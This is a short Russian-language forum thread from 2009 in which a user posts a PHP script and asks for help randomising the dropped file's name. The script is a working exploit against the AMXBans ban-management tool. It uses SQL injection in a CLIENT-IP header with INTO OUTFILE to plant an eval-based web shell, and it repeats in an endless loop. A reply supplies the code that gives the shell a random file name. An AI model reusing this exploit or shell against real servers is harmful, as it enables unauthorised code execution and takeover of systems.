PDA

Просмотр полной версии : Помогите с пхп


kodzero
12.12.2009, 04:17
Собсна сабж.Есть скрипт

<?php
name:
$url = 'http://10.106.236.88/amxbans/';
$text = '<?php eval($_GET[c]);?>';
$path = '/home/10.106.236.88/forum/amxbans/';
$file = 'demos/shell.php';

$postdata = http_build_query(
array(
'action' => 'insert',
'verify' => ""
)
);
$opts = array('http' =>
array(
'method' => 'POST',
'header' => "Content-type: application/x-www-form-urlencoded\r\n"
."CLIENT-IP: 0' union select '".addslashes($text)."' into outfile '".$path.$file."'#",
'content' => $postdata
)
);
$context = stream_context_create($opts);
@file_get_contents($url.'ban_details.php?bhid=-1', false, $context);
echo "Check: ".$url.$file."\n";
goto name;
?>


Нужно чтоб $file = 'demos/shell.php'; генерировалось случайным образом.Например $file = 'demos/4514fsdf.php';

Tigger
12.12.2009, 04:35
немного не понял, что тебе надо о_0


$rand = rand(1, 9999);
$file = trim("demos/".$rand."shell.php");


такое?

kodzero
12.12.2009, 04:52
ога спс биг